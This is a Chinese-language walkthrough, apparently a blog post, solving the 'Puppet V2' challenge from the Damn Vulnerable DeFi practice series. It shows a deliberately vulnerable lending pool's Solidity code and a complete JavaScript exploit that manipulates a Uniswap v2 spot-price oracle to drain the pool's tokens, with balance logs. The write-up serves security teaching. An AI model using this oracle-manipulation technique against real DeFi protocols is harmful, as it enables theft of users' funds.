moon

moon

Build for builders on blockchain
github
twitter

Defi黑客系列:Damn Vulnerable DeFi (九) - Puppet V2

Damn Vulnerable DeFi 是一个 Defi 智能合约攻击挑战系列。内容包括了闪电贷攻击、借贷池、链上预言机等。在开始之前你需要具备 Solidity 以及 JavaScipt 相关的技能。针对每一题你需要做的就是保证该题的单元测试能够通过。

题目链接:https://www.damnvulnerabledefi.xyz/challenges/9.html

题目描述:

上一题借贷池的开发者发布了新的版本,现在使用 Uniswap v2 交易所作为价格预言机,以及推荐的工具库。

你初始有 20ETH 和 10000DVT,新的借贷池中有 100 万个 DVT。你需要取光改借贷池中的 DVT。

本题的解题思路同上一题,不同的是 ETH 换成了 WETHWETH 是符合 ERC20 标准的代币,并且同 ETH 的价值比是 1:1

其次是使用 uniswap 的 v2 版本作为价格预言机。v2 版本支持 TokenToken 的配对合约,本题中的配对合约是 WETH-DVT。

借贷合约 PuppetV2Pool.sol 提供的借贷的功能如下

function borrow(uint256 borrowAmount) external {
    // 确保该合约持有的DVT数量是大于要借出数量
    require(_token.balanceOf(address(this)) >= borrowAmount, "Not enough token balance");
    // 计算需要存多少WETH
    uint256 depositOfWETHRequired = calculateDepositOfWETHRequired(borrowAmount);

    // 转WETH到该合约中
    _weth.transferFrom(msg.sender, address(this), depositOfWETHRequired);

    // 记录存入的WETH
    deposits[msg.sender] += depositOfWETHRequired;

    // 将 DVT token 转给 msg.sender
    require(_token.transfer(msg.sender, borrowAmount));
    emit Borrowed(msg.sender, depositOfWETHRequired, borrowAmount, block.timestamp);
}

允许借出 DVT 的前提是需要存入 WETH,存入多少 WETH 是根据下面的方法计算的

function calculateDepositOfWETHRequired(uint256 tokenAmount) public view returns (uint256) {
    // 抵押物的价值是3倍于借出的DVT
    return _getOracleQuote(tokenAmount).mul(3) / (10 ** 18);
}

function _getOracleQuote(uint256 amount) private view returns (uint256) {
    // 获取 WETH 和 DVT 的储备量
    // getReserves 内部计算配对合约的地址,并返回配对的 Token 的储备量
    (uint256 reservesWETH, uint256 reservesToken) = UniswapV2Library.getReserves(
        _uniswapFactory, address(_weth), address(_token)
    );
    // 计算DVT的价值
    // amount / x = reservesToken / reservesWETH
    // x = (amount * reservesWETH) / reservesToken
    return UniswapV2Library.quote(amount.mul(10 ** 18), reservesToken, reservesWETH);
}

uniswap 有配对合约 WETH-DVT,储备量分别为 reservesWETHreservesToken

计算 DVT 的价值满足公式:

x=amount×reservesWETHreservesTokenx = \frac {amount \times reservesWETH}{reservesToken}

在测试脚本 puppet-v2.challenge.js 中做了如下初始化

  • Uniswap 工厂合约部署了 WETH-DVT 的配对合约并添加流动性 10WETH-100DVT

  • attacker 转账 10000DVT 和 20ETH

  • 给借贷合约转账 1000000DVT

如果黑客直接全部借出 DVT,则需要付出的成本为

100000010100×3=300000(WETH)\frac {1000000 * 10}{100} \times 3 = 300000(WETH)

由于 WETHWTH 是 1:1 等价的,同时黑客只持有 20 ETH。所以这是不可能完成。

因此可以用黑客持有的 DVTuniswap 中兑换 WETH,此举会增加 WETH-DVT 配对合约中 DVT 的储备量并降低 WETH 储备量,即在计算 DVT 价值的公式中,会增加分母并减小分子的值。所以 DVT 的价值会整体降低。

it('Exploit', async function () {
  const attackerCallLendingPool = this.lendingPool.connect(attacker)
  const attackerCallUniswap = this.uniswapRouter.connect(attacker)
  const attackerCallToken = this.token.connect(attacker)
  const attackerCallWETH = this.weth.connect(attacker)

  // init:
  // Attacker ETH:  20.0
  // Attacker WETH:  0.0
  // Attacker DVT:  10000.0
  // Uniswap WETH:  10.0
  // Uniswap DVT:  100.0
  // LendingPool DVT:  1000000.0

  // 授权 uniswap 支配 attacker 的 DVT token
  await attackerCallToken.approve(attackerCallUniswap.address, ATTACKER_INITIAL_TOKEN_BALANCE)

  // 在 uniswap 中使用 DVT 兑换 WETH
  await attackerCallUniswap.swapExactTokensForTokens(
    ATTACKER_INITIAL_TOKEN_BALANCE, 
    ethers.utils.parseEther('9'),
    [attackerCallToken.address, attackerCallWETH.address],
    attacker.address,
    (await ethers.provider.getBlock('latest')).timestamp * 2
  )
  // Attacker ETH:  19.99975413442550073
  // Attacker WETH:  9.900695134061569016
  // Attacker DVT:  0.0
  // Uniswap WETH:  0.099304865938430984
  // Uniswap DVT:  10100.0
  // LendingPool DVT:  1000000.0

  // 计算需要抵押的 WETH 数量
  const collateralCount = await attackerCallLendingPool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE)
  console.log('collateralCount: ', ethers.utils.formatEther(collateralCount))
  // collateralCount:  29.49649483319732198

  await attackerCallWETH.approve(attackerCallLendingPool.address, collateralCount)
  const tx = {
    to: attackerCallWETH.address,
    value: ethers.utils.parseEther('19.9')
  }
  await attacker.sendTransaction(tx)

  // 借出 DVT
  await attackerCallLendingPool.borrow(POOL_INITIAL_TOKEN_BALANCE, {
    gasLimit: 1e6
  })

  // Attacker ETH:  0.099518462674923535
  // Attacker WETH:  0.304200300864247036
  // Attacker DVT:  1000000.0
  // Uniswap WETH:  0.099304865938430984
  // Uniswap DVT:  10100.0
  // LendingPool DVT:  0.0
  // The WETH that the hacker deposited: 29.49649483319732198
})

最后执行 yarn puppet-v2 测试通过!

完整代码

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。